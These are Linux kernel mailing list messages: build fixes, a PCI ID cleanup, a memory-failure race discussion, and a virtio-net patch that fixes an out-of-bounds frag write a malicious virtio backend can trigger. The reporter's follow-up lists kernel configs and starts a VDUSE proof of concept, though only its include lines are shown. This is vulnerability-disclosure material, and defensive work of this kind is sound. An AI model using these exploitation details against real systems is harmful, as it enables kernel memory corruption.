c8a6153b6c59d9 Xie Yongji 2021-08-31 575 vq->kicked = true;
c8a6153b6c59d9 Xie Yongji 2021-08-31 576 unlock:
c8a6153b6c59d9 Xie Yongji 2021-08-31 577 spin_unlock(&vq->kick_lock);
c8a6153b6c59d9 Xie Yongji 2021-08-31 578 }
c8a6153b6c59d9 Xie Yongji 2021-08-31 579
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
^ permalink raw reply
* [PATCH] vduse: Fix error around jumping over a __cleanup() variable
From: Nathan Chancellor @ 2026-06-10 19:16 UTC (permalink / raw)
To: Michael S. Tsirkin, Jason Wang, Xuan Zhuo, Eugenio Pérez
Cc: virtualization, linux-kernel, llvm, Nathan Chancellor
When building with clang, there is an error in vduse_vq_kick() from
attempting to jump over a variable declared with the cleanup attribute
using goto:
drivers/vdpa/vdpa_user/vduse_dev.c:566:3: error: cannot jump from this goto statement to its label
566 | goto unlock;
| ^
drivers/vdpa/vdpa_user/vduse_dev.c:568:2: note: jump bypasses initialization of variable with __attribute__((cleanup))
568 | guard(rwsem_read)(&vq->dev->rwsem);
| ^
Jumping over a variable declared with the cleanup attribute does not
prevent the cleanup function from running, it would just result in the
variable being passed uninitialized to the cleanup function .clang
errors instead of generating the invalid code, unlike GCC.
The jump is only present to call spin_unlock(), so convert the
spin_lock() and spin_unlock() calls to an equivalent guard() to avoid
the jump while leaving runtime behavior unchanged, clearing up the
warning.
Fixes: 6c141c034c1b ("vduse: Add suspend")
Signed-off-by: Nathan Chancellor <nathan@kernel.org>
---
drivers/vdpa/vdpa_user/vduse_dev.c | 6 ++----
1 file changed, 2 insertions(+), 4 deletions(-)
diff --git a/drivers/vdpa/vdpa_user/vduse_dev.c b/drivers/vdpa/vdpa_user/vduse_dev.c
index a257fdcb77b7..0500da043761 100644
--- a/drivers/vdpa/vdpa_user/vduse_dev.c
+++ b/drivers/vdpa/vdpa_user/vduse_dev.c
@@ -561,9 +561,9 @@ static int vduse_vdpa_set_vq_address(struct vdpa_device *vdpa, u16 idx,
static void vduse_vq_kick(struct vduse_virtqueue *vq)
{
- spin_lock(&vq->kick_lock);
+ guard(spinlock)(&vq->kick_lock);
if (!vq->ready)
- goto unlock;
+ return;
guard(rwsem_read)(&vq->dev->rwsem);
if (vq->dev->suspended)
@@ -573,8 +573,6 @@ static void vduse_vq_kick(struct vduse_virtqueue *vq)
eventfd_signal(vq->kickfd);
else
vq->kicked = true;
-unlock:
- spin_unlock(&vq->kick_lock);
}
static void vduse_vq_kick_work(struct work_struct *work)
---
base-commit: 6c141c034c1b0b74a2ca4dd3d6fbb6d9054f6e46
change-id: 20260610-vduse_vq_kick-fix-guard-usage-d1037c331419
Best regards,
--
Cheers,
Nathan
^ permalink raw reply related
* Re: [PATCH] drm: Consistently define pci_device_ids using named initializers
From: Patrik Jakobsson @ 2026-06-10 19:24 UTC (permalink / raw)
To: Uwe Kleine-König (The Capable Hub)
Cc: Maarten Lankhorst, Maxime Ripard, Thomas Zimmermann, David Airlie,
Simona Vetter, Gerd Hoffmann, Markus Schneider-Pargmann,
Jianmin Lv, Qianhai Wu, Huacai Chen, Mingcong Bai, Xi Ruoyao,
Icenowy Zheng, Dave Airlie, Jocelyn Falempe, dri-devel,
linux-kernel, virtualization, spice-devel
In-Reply-To: <20260504150537.2136760-2-u.kleine-koenig@baylibre.com>
On Mon, May 4, 2026 at 5:05 PM Uwe Kleine-König (The Capable Hub)
<u.kleine-koenig@baylibre.com> wrote:
>
> The .driver_data member of the various struct pci_device_id arrays were
> initialized by list expressions. This isn't easily readable if you're
> not into PCI. Using the PCI_DEVICE macro and named initializers is more
> explicit and thus easier to parse. Also skip explicit assignments of 0
> (which the compiler then takes care of).
>
> This change doesn't introduce changes to the compiled pci_device_id
> arrays. Tested on x86 and arm64.
>
> Signed-off-by: Uwe Kleine-König (The Capable Hub) <u.kleine-koenig@baylibre.com>
Reviewed-by: Patrik Jakobsson <patrik.r.jakobsson@gmail.com>
Since it touches multiple drivers, perhaps a drm-misc maintainer can take this?
-Patrik
> ---
> Hello,
>
> The secret plan is to make struct pci_device_id::driver_data an
> anonymous union (similar to
> https://lore.kernel.org/all/cover.1776579304.git.u.kleine-koenig@baylibre.com/)
> and that requires named initializers. But IMHO it's also a nice cleanup
> on its own.
>
> The anonymous union will allow changes like the following:
>
> - { PCI_DEVICE(0x8086, 0x8108), .driver_data = (long) &psb_chip_ops },
> + { PCI_DEVICE(0x8086, 0x8108), .driver_data_ptr = &psb_chip_ops },
>
> (together with the respective change in the code when the value is
> used). This gets rid of a bunch of casts and thus slightly improves
> type safety.
>
> Best regards
> Uwe
>
> drivers/gpu/drm/gma500/psb_drv.c | 56 +++++++++++++--------------
> drivers/gpu/drm/loongson/lsdc_drv.c | 4 +-
> drivers/gpu/drm/mgag200/mgag200_drv.c | 24 ++++++------
> drivers/gpu/drm/qxl/qxl_drv.c | 15 ++++---
> 4 files changed, 52 insertions(+), 47 deletions(-)
>
> diff --git a/drivers/gpu/drm/gma500/psb_drv.c b/drivers/gpu/drm/gma500/psb_drv.c
> index 005ab7f5355f..039da26ef24d 100644
> --- a/drivers/gpu/drm/gma500/psb_drv.c
> +++ b/drivers/gpu/drm/gma500/psb_drv.c
> @@ -56,36 +56,36 @@ static int psb_pci_probe(struct pci_dev *pdev, const struct pci_device_id *ent);
> */
> static const struct pci_device_id pciidlist[] = {
> /* Poulsbo */
> - { 0x8086, 0x8108, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &psb_chip_ops },
> - { 0x8086, 0x8109, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &psb_chip_ops },
> + { PCI_DEVICE(0x8086, 0x8108), .driver_data = (long) &psb_chip_ops },
> + { PCI_DEVICE(0x8086, 0x8109), .driver_data = (long) &psb_chip_ops },
> /* Oak Trail */
> - { 0x8086, 0x4100, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &oaktrail_chip_ops },
> - { 0x8086, 0x4101, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &oaktrail_chip_ops },
> - { 0x8086, 0x4102, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &oaktrail_chip_ops },
> - { 0x8086, 0x4103, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &oaktrail_chip_ops },
> - { 0x8086, 0x4104, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &oaktrail_chip_ops },
> - { 0x8086, 0x4105, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &oaktrail_chip_ops },
> - { 0x8086, 0x4106, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &oaktrail_chip_ops },
> - { 0x8086, 0x4107, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &oaktrail_chip_ops },
> - { 0x8086, 0x4108, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &oaktrail_chip_ops },
> + { PCI_DEVICE(0x8086, 0x4100), .driver_data = (long) &oaktrail_chip_ops },
> + { PCI_DEVICE(0x8086, 0x4101), .driver_data = (long) &oaktrail_chip_ops },
> + { PCI_DEVICE(0x8086, 0x4102), .driver_data = (long) &oaktrail_chip_ops },
> + { PCI_DEVICE(0x8086, 0x4103), .driver_data = (long) &oaktrail_chip_ops },
> + { PCI_DEVICE(0x8086, 0x4104), .driver_data = (long) &oaktrail_chip_ops },
> + { PCI_DEVICE(0x8086, 0x4105), .driver_data = (long) &oaktrail_chip_ops },
> + { PCI_DEVICE(0x8086, 0x4106), .driver_data = (long) &oaktrail_chip_ops },
> + { PCI_DEVICE(0x8086, 0x4107), .driver_data = (long) &oaktrail_chip_ops },
> + { PCI_DEVICE(0x8086, 0x4108), .driver_data = (long) &oaktrail_chip_ops },
> /* Cedar Trail */
> - { 0x8086, 0x0be0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0be1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0be2, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0be3, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0be4, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0be5, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0be6, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0be7, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0be8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0be9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0bea, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0beb, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0bec, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0bed, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0bee, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0x8086, 0x0bef, PCI_ANY_ID, PCI_ANY_ID, 0, 0, (long) &cdv_chip_ops },
> - { 0, }
> + { PCI_DEVICE(0x8086, 0x0be0), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0be1), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0be2), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0be3), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0be4), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0be5), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0be6), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0be7), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0be8), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0be9), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0bea), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0beb), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0bec), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0bed), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0bee), .driver_data = (long) &cdv_chip_ops },
> + { PCI_DEVICE(0x8086, 0x0bef), .driver_data = (long) &cdv_chip_ops },
> + { }
> };
> MODULE_DEVICE_TABLE(pci, pciidlist);
>
> diff --git a/drivers/gpu/drm/loongson/lsdc_drv.c b/drivers/gpu/drm/loongson/lsdc_drv.c
> index 1ece1ea42f78..f9f7271ddbff 100644
> --- a/drivers/gpu/drm/loongson/lsdc_drv.c
> +++ b/drivers/gpu/drm/loongson/lsdc_drv.c
> @@ -444,8 +444,8 @@ static const struct dev_pm_ops lsdc_pm_ops = {
> };
>
> static const struct pci_device_id lsdc_pciid_list[] = {
> - {PCI_VDEVICE(LOONGSON, 0x7a06), CHIP_LS7A1000},
> - {PCI_VDEVICE(LOONGSON, 0x7a36), CHIP_LS7A2000},
> + { PCI_VDEVICE(LOONGSON, 0x7a06), .driver_data = CHIP_LS7A1000 },
> + { PCI_VDEVICE(LOONGSON, 0x7a36), .driver_data = CHIP_LS7A2000 },
> { }
> };
>
> diff --git a/drivers/gpu/drm/mgag200/mgag200_drv.c b/drivers/gpu/drm/mgag200/mgag200_drv.c
> index a32be27c39e8..8ad4ddb60ee6 100644
> --- a/drivers/gpu/drm/mgag200/mgag200_drv.c
> +++ b/drivers/gpu/drm/mgag200/mgag200_drv.c
> @@ -205,18 +205,18 @@ int mgag200_device_init(struct mga_device *mdev,
> */
>
> static const struct pci_device_id mgag200_pciidlist[] = {
> - { PCI_VENDOR_ID_MATROX, 0x520, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_PCI },
> - { PCI_VENDOR_ID_MATROX, 0x521, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_AGP },
> - { PCI_VENDOR_ID_MATROX, 0x522, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_SE_A },
> - { PCI_VENDOR_ID_MATROX, 0x524, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_SE_B },
> - { PCI_VENDOR_ID_MATROX, 0x530, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_EV },
> - { PCI_VENDOR_ID_MATROX, 0x532, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_WB },
> - { PCI_VENDOR_ID_MATROX, 0x533, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_EH },
> - { PCI_VENDOR_ID_MATROX, 0x534, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_ER },
> - { PCI_VENDOR_ID_MATROX, 0x536, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_EW3 },
> - { PCI_VENDOR_ID_MATROX, 0x538, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_EH3 },
> - { PCI_VENDOR_ID_MATROX, 0x53a, PCI_ANY_ID, PCI_ANY_ID, 0, 0, G200_EH5 },
> - {0,}
> + { PCI_VDEVICE(MATROX, 0x0520), .driver_data = G200_PCI },
> + { PCI_VDEVICE(MATROX, 0x0521), .driver_data = G200_AGP },
> + { PCI_VDEVICE(MATROX, 0x0522), .driver_data = G200_SE_A },
> + { PCI_VDEVICE(MATROX, 0x0524), .driver_data = G200_SE_B },
> + { PCI_VDEVICE(MATROX, 0x0530), .driver_data = G200_EV },
> + { PCI_VDEVICE(MATROX, 0x0532), .driver_data = G200_WB },
> + { PCI_VDEVICE(MATROX, 0x0533), .driver_data = G200_EH },
> + { PCI_VDEVICE(MATROX, 0x0534), .driver_data = G200_ER },
> + { PCI_VDEVICE(MATROX, 0x0536), .driver_data = G200_EW3 },
> + { PCI_VDEVICE(MATROX, 0x0538), .driver_data = G200_EH3 },
> + { PCI_VDEVICE(MATROX, 0x053a), .driver_data = G200_EH5 },
> + { }
> };
>
> MODULE_DEVICE_TABLE(pci, mgag200_pciidlist);
> diff --git a/drivers/gpu/drm/qxl/qxl_drv.c b/drivers/gpu/drm/qxl/qxl_drv.c
> index 2bbb1168a3ff..6c3c309b8e4d 100644
> --- a/drivers/gpu/drm/qxl/qxl_drv.c
> +++ b/drivers/gpu/drm/qxl/qxl_drv.c
> @@ -50,11 +50,16 @@
> #include "qxl_object.h"
>
> static const struct pci_device_id pciidlist[] = {
> - { 0x1b36, 0x100, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_DISPLAY_VGA << 8,
> - 0xffff00, 0 },
> - { 0x1b36, 0x100, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_DISPLAY_OTHER << 8,
> - 0xffff00, 0 },
> - { 0, 0, 0 },
> + {
> + PCI_DEVICE(0x1b36, 0x0100),
> + .class = PCI_CLASS_DISPLAY_VGA << 8,
> + .class_mask = 0xffff00
> + }, {
> + PCI_DEVICE(0x1b36, 0x0100),
> + .class = PCI_CLASS_DISPLAY_OTHER << 8,
> + .class_mask = 0xffff00
> + },
> + { },
> };
> MODULE_DEVICE_TABLE(pci, pciidlist);
>
>
> base-commit: 254f49634ee16a731174d2ae34bc50bd5f45e731
> --
> 2.47.3
>
^ permalink raw reply
* Re: [PATCH 04/11] treewide: Convert struct kernel_param_ops initializers to DEFINE_KERNEL_PARAM_OPS
From: jim.cromie @ 2026-06-10 21:06 UTC (permalink / raw)
To: Petr Pavlu
Cc: Kees Cook, Luis Chamberlain, Pengpeng Hou, Richard Weinberger,
Anton Ivanov, Johannes Berg, Rafael J. Wysocki, Len Brown,
Corey Minyard, Gabriel Somlo, Michael S. Tsirkin, Jani Nikula,
Joonas Lahtinen, Rodrigo Vivi, Tvrtko Ursulin, David Airlie,
Simona Vetter, Bart Van Assche, Jason Gunthorpe, Leon Romanovsky,
Laurent Pinchart, Hans de Goede, Mauro Carvalho Chehab,
Bjorn Helgaas, Hannes Reinecke, James E.J. Bottomley,
Martin K. Petersen, Daniel Lezcano, Zhang Rui, Lukasz Luba,
Greg Kroah-Hartman, Jiri Slaby, Alan Stern, Jason Wang, Xuan Zhuo,
Eugenio Pérez, Jason Baron, Tiwei Bie, Benjamin Berg,
Ilpo Järvinen, David E. Box, Maciej W. Rozycki,
Srinivas Pandruvada, Peter Zijlstra, Heiko Carstens,
Vasily Gorbik, Sean Christopherson, Paolo Bonzini,
Thomas Gleixner, Ingo Molnar, Borislav Petkov, Dave Hansen, x86,
H. Peter Anvin, Vinod Koul, Frank Li, Daniel Gomez, Sami Tolvanen,
Aaron Tomlin, Alexander Potapenko, Marco Elver, Dmitry Vyukov,
Andrew Morton, John Johansen, Paul Moore, James Morris,
Serge E. Hallyn, Andy Shevchenko, Georgia Garcia, kvm, dmaengine,
linux-modules, kasan-dev, linux-mm, apparmor,
linux-security-module, linux-um, linux-acpi, openipmi-developer,
qemu-devel, intel-gfx, dri-devel, linux-rdma, linux-media,
linux-pci, linux-scsi, linux-pm, linuxppc-dev, linux-serial,
linux-usb, usb-storage, virtualization, linux-kernel, linux-arch,
netdev, linux-fsdevel, linux-hardening
In-Reply-To: <da358ae1-91b4-4a16-ac76-ffab99c230b9@suse.com>
On Mon, May 25, 2026 at 7:35 AM Petr Pavlu <petr.pavlu@suse.com> wrote:
>
> On 5/21/26 3:33 PM, Kees Cook wrote:
> > Using Coccinelle, rewrite every struct kernel_param_ops initializer that
> > sets .get into a DEFINE_KERNEL_PARAM_OPS-family macro invocation,
> > for example:
> >
> > @@
> > declarer name DEFINE_KERNEL_PARAM_OPS;
> > identifier OPS;
> > expression SET, GET;
> > @@
> > - const struct kernel_param_ops OPS = {
> > - .set = SET,
> > - .get = GET,
> > - };
> > + DEFINE_KERNEL_PARAM_OPS(OPS, SET, GET);
> >
> > Using the macro for initialization means future changes can manipulate
> > the struct layout and callback prototypes without having to change every
> > initializer.
>
> Nit: For consistency, I suggest also converting the few remaining
> kernel_param_ops instances that specify only .set and no .get, such as
> simdisk_param_ops_filename.
>
> --
> Thanks,
> Petr
for the dynamic-debug changes
Reviewed-by: Jim Cromie <jim.cromie@gmail.com>
^ permalink raw reply
* Re: [PATCH splitout] mm: memory-failure: serialize TestSetPageHWPoison with zone->lock
From: Michael S. Tsirkin @ 2026-06-10 21:18 UTC (permalink / raw)
To: Miaohe Lin
Cc: Zi Yan, David Hildenbrand (Arm), Andrew Morton, linux-kernel,
Jason Wang, Xuan Zhuo, Eugenio Pérez, Muchun Song,
Oscar Salvador, Lorenzo Stoakes, Liam R. Howlett, Vlastimil Babka,
Mike Rapoport, Suren Baghdasaryan, Michal Hocko, Brendan Jackman,
Johannes Weiner, Baolin Wang, Nico Pache, Ryan Roberts, Dev Jain,
Barry Song, Lance Yang, Hugh Dickins, Matthew Brost, Joshua Hahn,
Rakie Kim, Byungchul Park, Gregory Price, Ying Huang,
Alistair Popple, Christoph Lameter, David Rientjes,
Roman Gushchin, Harry Yoo, Axel Rasmussen, Yuanchu Xie, Wei Xu,
Chris Li, Kairui Song, Kemeng Shi, Nhat Pham, Baoquan He,
virtualization, linux-mm, Andrea Arcangeli, Naoya Horiguchi
In-Reply-To: <dd8d89be-9c73-8ff7-7d44-9705bddeda4d@huawei.com>
On Wed, Jun 10, 2026 at 03:24:30PM +0800, Miaohe Lin wrote:
> On 2026/6/10 5:00, Michael S. Tsirkin wrote:
> > On Tue, Jun 09, 2026 at 04:54:01PM -0400, Zi Yan wrote:
> >> On 9 Jun 2026, at 16:34, Michael S. Tsirkin wrote:
> >>
> >>> On Tue, Jun 09, 2026 at 02:52:47PM -0400, Zi Yan wrote:
> >>>> On 9 Jun 2026, at 14:39, Zi Yan wrote:
> >>>>
> >>>>> On 9 Jun 2026, at 14:38, David Hildenbrand (Arm) wrote:
> >>>>>
> >>>>>> On 6/9/26 20:10, Andrew Morton wrote:
> >>>>>>> On Tue, 9 Jun 2026 06:12:49 -0400 "Michael S. Tsirkin" <mst@redhat.com> wrote:
> >>>>>>>
> >>>>>>>> TestSetPageHWPoison() is called without zone->lock, so its atomic
> >>>>>>>> update to page->flags can race with non-atomic flag operations
> >>>>>>>> that run under zone->lock in the buddy allocator.
> >>>>>>>>
> >>>>>>>> In particular, __free_pages_prepare() does:
> >>>>>>>>
> >>>>>>>> page->flags.f &= ~PAGE_FLAGS_CHECK_AT_PREP;
> >>>>>>>>
> >>>>>>>> This non-atomic read-modify-write, while correctly excluding
> >>>>>>>> __PG_HWPOISON from the mask, can still lose a concurrent
> >>>>>>>> TestSetPageHWPoison if the read happens before the poison bit
> >>>>>>>> is set and the write happens after. Will only get worse if/when
> >>>>>>>> we add more non-atomic flag operations.
> >>>>>>>>
> >>>>>>>> Fix by acquiring zone->lock around TestSetPageHWPoison and
> >>>>>>>> around ClearPageHWPoison in the retry path. This
> >>>>>>>> serializes with all buddy flag manipulation. The cost is
> >>>>>>>> negligible: one lock/unlock in an extremely rare path
> >>>>>>>> (hardware memory errors).
> >>>>>>>>
> >>>>>>>> Note: SetPageHWPoison and TestClearPageHWPoison calls elsewhere
> >>>>>>>> in this file operate on pages already removed from the buddy
> >>>>>>>> allocator or on non-buddy pages (DAX, hugetlb), so they do not
> >>>>>>>> need zone->lock protection.
> >>>>>>>
> >>>>>>> Sashiko is saying this doesn't do anything "Because
> >>>>>>> __free_pages_prepare() executes entirely locklessly". Did it goof?
> >>>>>>>
> >>>>>>> https://sashiko.dev/#/patchset/df06b66fe4ff8e925ee0714955abc2183a727b90.1780998980.git.mst@redhat.com
> >>>>>>
> >>>>>> Battle of the bots: it's right.
> >>>>>
> >>>>> Yep, __free_pages_prepare() changes the page flag without holding
> >>>>> zone->lock.
> >>>>
> >>>> __free_pages_prepare() works on frozen pages and assumes no one else
> >>>> touches the input page. To avoid this race, memory_failure() might
> >>>> want to try_get_page() before TestClearPageHWPoison(), but I am not
> >>>> sure if that works along with memory failure flow.
> >>>>
> >>>> Best Regards,
> >>>> Yan, Zi
> >>>
> >>>
> >>>
> >>> Actually memory failure already plays with this down the road no?
> >>>
> >>> So maybe it's enough to just SetPageHWPoison afterwards again?
> >>>
> >>>
> >>> diff --git a/mm/memory-failure.c b/mm/memory-failure.c
> >>> index ee42d4361309..4758fea94a96 100644
> >>> --- a/mm/memory-failure.c
> >>> +++ b/mm/memory-failure.c
> >>> @@ -2415,6 +2415,7 @@ int memory_failure(unsigned long pfn, int flags)
> >>> if (!res) {
> >>> if (is_free_buddy_page(p)) {
> >>> if (take_page_off_buddy(p)) {
> >>> + SetPageHWPoison(p);
> >>> page_ref_inc(p);
> >>> res = MF_RECOVERED;
> >>> } else {
> >>>
> >>>
> >>> and maybe in a bunch of other places in there?
> >>
> >> You mean for fear of losing HWPoison flag in the earlier TestSetPageHWPoison(),
> >> just set it again here?
> >
> > Yea.
> >
> >> Why not do it after get_hwpoison_page(), since that
> >> is the expected page flag?
> >
> > It's still in the buddy at that point right? I'm worried buddy might
> > poke at flags.
>
> Since __free_pages_prepare() executes entirely locklessly, the only way to ensure
> HWPoison flag won't be lost might be only set hwpoison flag iff we can make sure
> pages are not on the way to buddy...
>
> Thanks.
> .
To clarify do you not agree repeating SetPageHWPoison is enough for
this? And if not, do you have suggestions on how to fix this race?
Thanks a lot,
--
MST
^ permalink raw reply
* [PATCH net] virtio-net: fix len check in receive_big()
From: Xiang Mei @ 2026-06-10 22:16 UTC (permalink / raw)
To: mst, jasowang, xuanzhuo, eperezma
Cc: andrew+netdev, davem, edumazet, kuba, pabeni, netdev,
virtualization, linux-kernel, minhquangbui99, bestswngs,
Xiang Mei
receive_big() bounds the device-announced length by
(big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:
add_recvbuf_big() sets sg[1] to start at offset
sizeof(struct padded_vnet_hdr) into the first page, so the chain
actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +
big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the
check allows for the common hdr_len == 12 case.
A malicious virtio backend can announce a len in that gap. page_to_skb()
then walks one frag past the page chain, storing a NULL page->private
into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds
write past the static frag array and a NULL frag handed up the rx path.
Bound len by the size add_recvbuf_big() actually advertised.
Fixes: 0c716703965f ("virtio-net: fix received length check in big packets")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
drivers/net/virtio_net.c | 8 +++++---
1 file changed, 5 insertions(+), 3 deletions(-)
diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
index f4adcfee7a80..afe73eda1491 100644
--- a/drivers/net/virtio_net.c
+++ b/drivers/net/virtio_net.c
@@ -1999,15 +1999,17 @@ static struct sk_buff *receive_big(struct net_device *dev,
struct virtnet_rq_stats *stats)
{
struct page *page = buf;
+ unsigned long max_len;
struct sk_buff *skb;
/* Make sure that len does not exceed the size allocated in
* add_recvbuf_big.
*/
- if (unlikely(len > (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE)) {
+ max_len = vi->hdr_len + (PAGE_SIZE - sizeof(struct padded_vnet_hdr)) +
+ vi->big_packets_num_skbfrags * PAGE_SIZE;
+ if (unlikely(len > max_len)) {
pr_debug("%s: rx error: len %u exceeds allocated size %lu\n",
- dev->name, len,
- (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE);
+ dev->name, len, max_len);
goto err;
}
--
2.43.0
^ permalink raw reply related
* Re: [PATCH net] virtio-net: fix len check in receive_big()
From: Michael S. Tsirkin @ 2026-06-10 22:21 UTC (permalink / raw)
To: Xiang Mei
Cc: jasowang, xuanzhuo, eperezma, andrew+netdev, davem, edumazet,
kuba, pabeni, netdev, virtualization, linux-kernel,
minhquangbui99, bestswngs
In-Reply-To: <20260610221606.1091465-1-xmei5@asu.edu>
On Wed, Jun 10, 2026 at 03:16:06PM -0700, Xiang Mei wrote:
> receive_big() bounds the device-announced length by
> (big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:
> add_recvbuf_big() sets sg[1] to start at offset
> sizeof(struct padded_vnet_hdr) into the first page, so the chain
> actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +
> big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the
> check allows for the common hdr_len == 12 case.
>
> A malicious virtio backend can announce a len in that gap. page_to_skb()
> then walks one frag past the page chain, storing a NULL page->private
> into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds
> write past the static frag array and a NULL frag handed up the rx path.
> Bound len by the size add_recvbuf_big() actually advertised.
>
> Fixes: 0c716703965f ("virtio-net: fix received length check in big packets")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
Let's instead (or additionally?), bound the frags array index.
Seems more robust.
> ---
> drivers/net/virtio_net.c | 8 +++++---
> 1 file changed, 5 insertions(+), 3 deletions(-)
>
> diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
> index f4adcfee7a80..afe73eda1491 100644
> --- a/drivers/net/virtio_net.c
> +++ b/drivers/net/virtio_net.c
> @@ -1999,15 +1999,17 @@ static struct sk_buff *receive_big(struct net_device *dev,
> struct virtnet_rq_stats *stats)
> {
> struct page *page = buf;
> + unsigned long max_len;
> struct sk_buff *skb;
>
> /* Make sure that len does not exceed the size allocated in
> * add_recvbuf_big.
> */
> - if (unlikely(len > (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE)) {
> + max_len = vi->hdr_len + (PAGE_SIZE - sizeof(struct padded_vnet_hdr)) +
> + vi->big_packets_num_skbfrags * PAGE_SIZE;
> + if (unlikely(len > max_len)) {
> pr_debug("%s: rx error: len %u exceeds allocated size %lu\n",
> - dev->name, len,
> - (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE);
> + dev->name, len, max_len);
> goto err;
> }
>
> --
> 2.43.0
^ permalink raw reply
* Re: [PATCH net] virtio-net: fix len check in receive_big()
From: Xiang Mei @ 2026-06-10 22:39 UTC (permalink / raw)
To: mst, jasowang, xuanzhuo, eperezma
Cc: andrew+netdev, davem, edumazet, kuba, pabeni, netdev,
virtualization, linux-kernel, minhquangbui99, bestswngs
In-Reply-To: <20260610221606.1091465-1-xmei5@asu.edu>
Thanks for your attention to this bug. We'll provide some tips for
reproduction here
1) CONFIGs
```
CONFIG_VDPA=y
CONFIG_VDPA_USER=y
CONFIG_VIRTIO_VDPA=y
CONFIG_VHOST_VDPA=y
CONFIG_IKHEADERS=n
CONFIG_DEBUG_INFO_BTF=n
```
2) PoC
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <poll.h>
#include <stdint.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <net/if.h>
#include <linux/sockios.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/vduse.h>
#include <linux/vdpa.h>
#include <linux/virtio_ids.h>
